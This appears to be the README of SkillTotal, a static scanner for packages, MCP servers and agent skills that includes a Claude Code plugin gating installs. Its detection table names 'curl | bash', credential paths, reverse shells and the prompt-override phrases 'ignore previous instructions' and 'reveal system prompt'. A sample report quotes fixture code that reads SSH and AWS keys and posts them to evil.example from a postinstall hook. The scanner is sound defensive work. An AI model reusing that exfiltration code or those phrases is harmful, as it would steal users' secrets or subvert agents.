Quick start
pipx install skilltotal
skilltotal scan npm:express # or pypi:name, a git URL, a folder, an archive
Check what your coding agent installs. Inside Claude Code:
/plugin marketplace add pezhik/skilltotal
/plugin install skilltotal@skilltotal
/reload-plugins
Gate pull requests. Add one step to a workflow
(full example with permissions):
- uses: pezhik/skilltotal@v1.10.0
with: { source: ., fail-on: high }
To try it without installing anything, www.skilltotal.ai runs the same engine.
Choose your path
| You want to |
Start here |
| Check packages before Claude Code installs them |
Claude Code plugin |
| Check packages before another agent installs them |
Agent hooks, each with a support tier, or the MCP server and guard |
Scan a package, repository, folder, archive, .vsix, .mcpb or wheel yourself |
skilltotal scan |
| Gate pull requests in CI |
GitHub Action and other CI |
| Adopt it on a repository that already has findings |
Rolling out with a baseline |
| Review a dependency upgrade before you merge it |
diff --fail-on-new |
| Check the MCP servers, plugins, skills and editor extensions installed on your machine every day |
Installed components |
| Run that check on a company fleet, feed a SIEM, export an AI-BOM |
Running it on a fleet |
| Accept a false positive |
Accepting findings |
| Scan through a company registry mirror |
Registry mirrors |
What it catches
It scans npm and PyPI packages, MCP servers, agent skills and plugins, VS Code extensions, git
repositories (or one folder of them), local folders, archives (including .mcpb, .vsix and
wheels) and single files, and looks for:
| Category |
Examples |
| Shell execution |
subprocess.*, os.system, child_process.exec, curl … \| bash handed to a shell call |
| Filesystem access |
open, read_text/write_text, fs.readFile/writeFile |
| Sensitive paths |
~/.ssh, ~/.aws, .env, id_rsa, credentials, secrets |
| Network egress |
requests, urllib, aiohttp, fetch, axios |
| Install-time execution |
npm preinstall/postinstall/prepare, setup.py hooks, a lifecycle script that downloads or decodes code and runs it |
| Dynamic code execution |
eval, exec, compile, new Function, vm.runInNewContext |
| Obfuscation |
decode-and-execute chains, base64 blobs, hex escaping, minification |
| MCP risks |
manifests, dangerous tools (shell/fs/network/credential), server commands |
| Prompt surface |
"ignore previous instructions", "reveal system prompt", exfiltration phrasing |
| Post-exploitation |
reverse tunnels and shells, planted SSH keys, autostart persistence, antivirus or Gatekeeper evasion, host beacons |
It also flags hidden Unicode in agent-facing text, embedded secrets, auto-approved MCP tools and
data flows such as a credential read followed by network egress. skilltotal rules list prints
every rule; coverage by component type and accuracy notes are in docs/detection.md.
$ skilltotal scan tests/fixtures/malicious_npm_pkg
SkillTotal Security Report
==========================
Component : evil-npm-pkg 0.0.1 (npm_package)
Source : tests/fixtures/malicious_npm_pkg
Verdict : HIGH - High risk - review before installing
Risk : HIGH (score 70/100)
Findings (3 risk, 4 capability, not scored):
[CRITICAL] ST-COMBO-EXFIL Sensitive-data access combined with network egress
Evidence:
- index.js:7
const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
- steal.js:3
const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
- index.js:13
fetch('http://evil.example/collect', { method: 'POST', body: key });
... and 1 more (all of them in --json)
[HIGH] ST-INSTALL-DROPPER Install-time hook paired with a dropper payload
Evidence:
- package.json:6
"postinstall": "node steal.js"
...
Shortened. The full report also prints descriptions, recommendations, capabilities and review items.
Why SkillTotal
- The Claude Code plugin checks each
npx,
npm install, pip install or claude mcp add command before the agent runs it.
- Scans run on your machine with no account, API token, upload or telemetry, and SkillTotal never
runs the code it reads. The exception is the agent hooks' lockfile lookup: public package names
and versions go to OSV, and
SKILLTOTAL_OSV=0 turns that off (Network access).
- Detection is regex and AST matching with no LLM, so the same input on the same Python version
gives the same findings and score. Every finding cites a file and line, and recall and precision
are published.
- Zero runtime dependencies (Python standard library only) make it easy to audit, vendor or run air-gapped.
- Reports carry a behavioral trait fingerprint mapped to the Cloud Security Alliance (CSA) agentic
threat model, MAESTRO layers and MITRE ATLAS tactics; findings carry OWASP Agentic Skills Top 10 ids.
- It is open source (Apache-2.0), and the full static report is free, forever.
How it works
SkillTotal fetches the component (a shallow git clone or the package archive), reads every file
once and runs its scanners over them. It correlates the findings (a credential read plus network
egress becomes an exfiltration path) and scores the result from 0 to 100. It looks only at the
component's own files, never at the user, company, environment, deployment or runtime context.
Every confirmed finding carries evidence (file, line range, code snippet); a signal that cannot be
tied to evidence goes to needs_review, which never affects the score. A capability such as shell
or network access is reported but scores zero. Details in docs/architecture.md and docs/scoring.md.
Claude Code plugin
Before an install command runs, the plugin scans each package it names, locally and with the same
engine as the CLI. It reads npm, pnpm, yarn, bun, npx, pip, uv, uvx, pipx, poetry and similar
installs, claude mcp add (and the Codex and Gemini equivalents), claude plugin install,
code --install-extension and npx skills add, including when they are wrapped in sudo, bash -c, $(...) or PowerShell. Install the CLI first
(skilltotal --version must work where you start Claude Code), then run the three commands from
Quick start.
| The scan finds |
What happens to the install |
| Malicious indicators |
Denied. The agent is told the finding and its file:line |
| High or critical risk, a look-alike package name, or anything it could not check (a custom registry, a name built at run time, a command hidden behind a decoder, a check that failed or ran out of time) |
Claude Code asks you |
| Nothing of that kind |
It installs. The agent gets a one-line note with the version checked and its score |
| Anything it would ask about, in CI |
Denied: CI is fail-closed (see below) |
Each install command gets a console line saying what was checked, or what was not and why. In CI
(CI, GITLAB_CI, JENKINS_URL and similar, or SKILLTOTAL_STRICT=1) nobody is there to answer,
so anything it would ask about is denied. Installs it could not check are denied too, unless
SKILLTOTAL_ALLOW_UNCHECKED lists their kind.
It does not scan the dependencies of the named package, the code of installs that name no package
(npm ci, pip install -r, uv sync: their lockfile is only looked up in OSV, and the console
says what was and was not covered), scripts on disk, shell-profile aliases or functions, downloaded
scripts (curl ... | bash, reported as not checked), repositories fetched with git clone, or code
already running on your account (it can rewrite the verdict cache or the CLI). Updates that install
themselves, such as an editor extension or an npx -y server that runs its latest release, run no
install command. The plugin's sentinel
scans what changed at session start and tells the agent at the next one. The plugin has no
override for a denied install, and it is a static check, not a sandbox: run the agent in a
container for code you don't trust. It also adds a /skilltotal:scan <target> command and registers the SkillTotal MCP server.
Recognized commands, settings, cache, timing, team rollout
and troubleshooting are in docs/plugin.md.
Other agents
skilltotal hook install adds the same check to other agents, leaving their other hooks alone. An
agent that cannot ask you gets a denial that says how to go ahead.
| Agent |
Tier |
| Claude Code |
verified against Claude Code 2.1.316 on 2026-10-31 |
| Gemini CLI |
hook tested in Gemini CLI 0.45.2 on 2026-10-31 with a stand-in model; not yet run with a live model |
| Cursor, Windsurf, Devin, Codex, VS Code Copilot |
preview: built to the agent's documented hook format, not yet run in the agent |
docs/agent-hooks.md has what
each one can and cannot see, and the managed templates for a fleet.
CI / GitHub Action
Run SkillTotal in CI and see the findings in your repository's Security → Code scanning tab:
add the step from Quick start to a workflow
with security-events: write (full workflow).